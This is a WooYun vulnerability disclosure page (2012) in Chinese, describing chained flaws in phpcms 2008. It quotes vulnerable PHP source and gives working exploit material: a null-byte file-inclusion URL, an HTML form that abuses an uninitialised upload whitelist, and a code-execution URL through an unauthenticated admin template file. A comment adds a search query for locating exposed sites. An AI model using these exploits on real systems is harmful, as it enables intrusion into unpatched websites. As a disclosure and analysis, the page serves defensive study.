当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-09563

漏洞标题:phpcms 2008多个漏洞 (可getshell)

相关厂商:phpcms

漏洞作者: b4dboy

提交时间:2012-07-12 19:03

修复时间:2012-07-17 19:03

公开时间:2012-07-17 19:03

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-07-12: 细节已通知厂商并且等待厂商处理中
2012-07-17: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

一个漏洞不可怕,可怕的是一连串的漏洞,拼接起来就可以getshell了。

详细说明:

###文件包含
<?php
define('IN_YP', TRUE);
define('ADMIN_ROOT', str_replace("\\", '/',dirname(__FILE__)).'/');
require '../include/common.inc.php';
## 要登陆
if(!$_userid) showmessage('您还没有登陆,即将跳转到登陆页面',$MODULE['member']['url'].'login.php?forward='.urlencode(URL));
session_start();
## $file变量可控制
if(!isset($file) || empty($file)) $file = 'panel';
/* $company_user_infos 获取企业会员信息 */
$company_user_infos = $db->get_one("SELECT * FROM `".DB_PRE."member_company` WHERE `userid`='$_userid'");
$userid = $_userid;
## 注册的时候选择企业用户
if(!$company_user_infos)
{
$MS['title'] = '您不是企业会员';
$MS['description'] = '你可以做下面操作';
$MS['urls'][0] = array(
'name'=>'免费升级为企业会员',
'url'=>$PHPCMS['siteurl'].$M['url'].'company.php?action=member',
);
$MS['urls'][1] = array(
'name'=>'退出当前帐号,换其他帐号登陆',
'url'=>$PHPCMS['siteurl'].'member/logout.php',
);
$MS['urls'][2] = array(
'name'=>'重新注册为企业会员',
'url'=>$PHPCMS['siteurl'].'member/logout.php?forward='.urlencode($PHPCMS['siteurl'].'member/register.php'),
);
msg($MS);
}
$CATEGORY = subcat('yp');
$siteurl = company_url($userid, $company_user_infos['sitedomain']);
$_SESSION['url'] = QUERY_STRING;
if($file != 'company' && $M['enableSecondDomain'] && !$company_user_infos['sitedomain']) showmessage('请先绑定您的二级域名',BUSINESSDIR.'?file=company');
check_priv($file);
$GROUP = cache_read('member_group.php');
## 此处直接包含了,注意$file是可以控制的但须要截断
if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!');
function check_priv($file)
{
global $M,$PHPCMS,$_groupid;
if(!$M["allow_add_$file"]) return true;
if(!in_array($_groupid,$M["allow_add_$file"]))
{
$MS['title'] = '您所在的会员组没有此项操作权限';
$MS['description'] = '你可以做下面操作';
$MS['urls'][0] = array(
'name'=>'升级会员组',
'url'=>$PHPCMS['siteurl'].'member/upgrade.php',
);
$MS['urls'][1] = array(
'name'=>'返回商务中心',
'url'=>'?',
);
msg($MS);
}
}
?>
## 利用注册一个企业用户
EXP:http://localhost/phpcms/yp/business/?file=../../xxoo.txt%00.
由于涉及截断,所以鸡肋了,哥是要去拿shell的。
## 再看这一句
if(!@include ADMIN_ROOT.$file.'.inc.php') showmessage('The file ./yp/'.$file.'.inc.php is not exists!');
以.inc.php结尾的文件有大把随便找个有漏的文件包含进来,不就能二次利用了?
## 首先进入视线的是/admin/upload.inc.php 看名字就知道如果能利用的话,将会.....(省略500字)
<?php
defined('IN_PHPCMS') or exit('Access Denied');
require_once 'attachment.class.php';
$attachment = new attachment($mod);
if($catid)
{
$C = cache_read('category_'.$catid.'.php');
}
## 允许上传的后缀是从$C里取的,变量$C要通过上面那个判断才能赋值,典型的变量未初始化
$upload_allowext = $C['upload_allowext'] ? $C['upload_allowext'] : UPLOAD_ALLOWEXT;
$upload_maxsize = $C['upload_maxsize'] ? $C['upload_maxsize'] : UPLOAD_MAXSIZE;
if($dosubmit)
{
$attachment->upload('uploadfile', $upload_allowext, $upload_maxsize, 1);
if($attachment->error) showmessage($attachment->error());
//判断是否开启附件ftp上传,返回图片路径
$imgurl = UPLOAD_FTP_ENABLE ? $attachment->uploadedfiles[0]['filepath'] : UPLOAD_URL.$attachment->uploadedfiles[0]['filepath'];
$aid = $attachment->uploadedfiles[0]['aid'];
$filesize = $attachment->uploadedfiles[0]['filesize'];
$filesize = $attachment->size($filesize);
if($isthumb || $iswatermark)
{
require_once 'image.class.php';
$image = new image();
$img = UPLOAD_ROOT.$attachment->uploadedfiles[0]['filepath'];
if($isthumb)
{
$image->thumb($img, $img, $width, $height);
}
if($iswatermark)
{
$image->watermark($img, $img, $PHPCMS['watermark_pos'], $PHPCMS['watermark_img'], '', 5, '#ff0000', $PHPCMS['watermark_jpgquality']);
}
}
showmessage("文件上传成功!<script language='javascript'> try{ $(window.opener.document).find(\"form[@name='myform'] #$uploadtext\").val(\"$imgurl\");$(window.opener.document).find(\"form[@name='myform'] #{$uploadtext}_aid\").val(\"$aid\");$(window.opener.document).find(\"form[@name='myform'] #$filesize\").val(\"$filesize\");}catch(e){} window.close();</script>", HTTP_REFERER);
}
else
{
include admin_tpl('upload');
}
?>
## 没什么好说的看EXP, 上传后查看网页源代码即可找到上传路径.
<form id="frmUpload" enctype="multipart/form-data"
action="http://localhost/phpcms/yp/business/?file=../../admin/upload&C[upload_allowext]=php|Php%00.|php%00&dosubmit=yes" method="post">
<h1>Upload a new file:</h1>
<input type="file" name="uploadfile" size="50"><br>
<input id="btnUpload" type="submit" value="Upload">
</form>
## 传完后我才发现attachment.class.php 里有黑名单,怎么绕大家结合环境利用吧。
## 漏洞再一次被鸡肋化了,哥继续找。 再次进入视线的是block.inc.php,看名字貌似是跟模块有关的,难不成可以写个shell ?
## 猫了个咪,打开文件我就想骂人了,做为admin目录下的文件,没有任何权限判断。
## 看144行左右,当$action 等于 post时。
case 'post':
require_once 'template.func.php';
if($func == 'dosave') ## 这里完全不用管他,让他进入else
{
$block->set_template($blockid, $template);
$block->update($blockid, $data);
$data = $block->get_html($blockid);
}
else
{
$name = new_stripslashes($name);
$data = new_stripslashes($data);
$data = $block->strip_data($data);
$template = new_stripslashes($template);
$tpldata = template_parse($template);
$tplfile = TPL_CACHEPATH.'block_'.$blockid.'.preview.php'; ## 文件名
file_put_contents($tplfile, $tpldata); ## 生成文件
include $tplfile; ## 包含文件
@unlink($tplfile); ## 删除刚才生成的文件
$data = ob_get_contents();
ob_clean();
}
echo '<script language="JavaScript">parent.'.$func.'('.$blockid.', "'.format_js($data, 0).'");</script>';
break;
## 在这里可以生成一个php文件,并马上包含进来,随后又删除了。由于包含进来了,只要能控制php文件的内容,代码还是会被执行。
## 看取得文件内容的这一行,$tpldata = template_parse($template); 跟进template_parse函数
function template_parse($str, $istag = 0)
{
$str = preg_replace("/([\n\r]+)\t+/s","\\1",$str);
$str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}",$str);
$str = preg_replace("/\{template\s+(.+)\}/","<?php include template(\\1); ?>",$str);
$str = preg_replace("/\{include\s+(.+)\}/","<?php include \\1; ?>",$str);
$str = preg_replace("/\{php\s+(.+)\}/","<?php \\1?>",$str);
$str = preg_replace("/\{if\s+(.+?)\}/","<?php if(\\1) { ?>",$str);
$str = preg_replace("/\{else\}/","<?php } else { ?>",$str);
$str = preg_replace("/\{elseif\s+(.+?)\}/","<?php } elseif (\\1) { ?>",$str);
$str = preg_replace("/\{\/if\}/","<?php } ?>",$str);
$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2) { ?>",$str);
$str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/","<?php if(is_array(\\1)) foreach(\\1 AS \\2 => \\3) { ?>",$str);
$str = preg_replace("/\{\/loop\}/","<?php } ?>",$str);
$str = preg_replace("/\{\/get\}/","<?php } unset(\$DATA); ?>",$str);
$str = preg_replace("/\{tag_([^}]+)\}/e", "get_tag('\\1')", $str);
$str = preg_replace("/\{get\s+([^}]+)\}/e", "get_parse('\\1')", $str);
$str = preg_replace("/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{\\$([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff:]*\(([^{}]*)\))\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*)\}/","<?php echo \\1;?>",$str);
$str = preg_replace("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/es", "addquote('<?php echo \\1;?>')",$str);
$str = preg_replace("/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>",$str);
if(!$istag) $str = "<?php defined('IN_PHPCMS') or exit('Access Denied'); ?>".$str;
return $str;
}
## 是用来处理一些模板语法,完全不用理会。
EXP:http://localhost/yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>

漏洞证明:

修复方案:

判断要严谨,多个地方缺少判断,判断应该用白名单而不是黑名单,黑名单你控制不来的。
Ps:换个马甲不知道人品会不会好一点,求邀请码。

版权声明:转载请注明来源 b4dboy@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2012-07-17 19:03

厂商回复:

漏洞Rank:17 (WooYun评价)

最新状态:

暂无


漏洞评价:

评论

  1. 2012-07-12 19:37 | 鱼化石 ( 实习白帽子 | Rank:93 漏洞数:18 | 介绍不能为空)

    值得关注

  2. 2012-07-12 20:05 | moro ( 路人 | Rank:18 漏洞数:4 | I am moro .)

    这个厉害~~~

  3. 2012-07-12 20:12 | only_guest 认证白帽子 ( 普通白帽子 | Rank:800 漏洞数:75 | PKAV技术宅社区-专心做技术.PKAV已经暂停...)

    组合漏洞什么的最有爱了!!

  4. 2012-07-12 20:55 | 蟋蟀哥哥 ( 普通白帽子 | Rank:363 漏洞数:57 | 巴蜀人士,80后宅男,自学成才,天朝教育失败...)

    关注

  5. 2012-07-12 20:59 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    Freas 你改马甲了啊 啊啊啊啊啊

  6. 2012-07-12 21:02 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    /whitehat_detail.php?whitehat=php0day 一个人 -_- 玩无间道

  7. 2012-07-12 21:02 | _Evil ( 普通白帽子 | Rank:418 漏洞数:59 | 万事无他,唯手熟尔。农民也会编程,别指望天...)

    @蟋蟀哥哥 http://www.php0day.com/真的是他 百度空间

  8. 2012-07-12 21:03 | Jmkissy ( 路人 | Rank:10 漏洞数:2 )

    关注了-、

  9. 2012-07-12 21:46 | b4dboy ( 实习白帽子 | Rank:52 漏洞数:3 | good bye)

    @_Evil 坏蛋蛋......

  10. 2012-07-13 09:31 | xsjswt ( 普通白帽子 | Rank:156 漏洞数:49 | 我思故我猥琐,我猥琐故我强大)

    关注

  11. 2012-07-13 14:20 | exploits ( 实习白帽子 | Rank:69 漏洞数:17 | As We Do,As You Know !)

    关注啊~~

  12. 2012-07-13 22:09 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    围观

  13. 2012-07-17 20:15 | b4dboy ( 实习白帽子 | Rank:52 漏洞数:3 | good bye)

    被忽略了..........inurl:/yp/business

  14. 2012-07-18 09:39 | Eric ( 路人 | Rank:1 漏洞数:1 | 网络技术爱好者。)

    ....这个居然被忽略。证实可行啊。

  15. 2012-07-19 14:25 | ca3tie1 ( 路人 | Rank:18 漏洞数:4 | castiel)

    经典的漏洞分析!!!!

  16. 2012-07-19 14:32 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    @ca3tie1 给好评啊

  17. 2012-07-19 23:51 | Creturn ( 路人 | Rank:19 漏洞数:4 | 静下心来,做自己想做的事情!)

    其实不是被忽略2008已经早都停止维护了。

  18. 2012-09-26 12:54 | saviour ( 普通白帽子 | Rank:188 漏洞数:29 | Saviour.Com.Cn 网站正在备案中)

    说是可以拿shell 可以个毛啊

  19. 2012-12-19 09:32 | momo ( 实习白帽子 | Rank:91 漏洞数:24 | ★精华漏洞数:24 | WooYun认证√)

    ..yp/business/?file=../../admin/block&action=post&blockid=eval&template=<?php phpinfo();exit();?>

  20. 2013-07-17 23:57 | Azreal ( 实习白帽子 | Rank:37 漏洞数:21 | 菜鸟路过、寻找一夜菊花。)

    phpcms貌似没有更新!

  21. 2015-02-01 20:39 | sin ( 实习白帽子 | Rank:38 漏洞数:2 | 寻找最优雅的解决方案)

    洞主功力深厚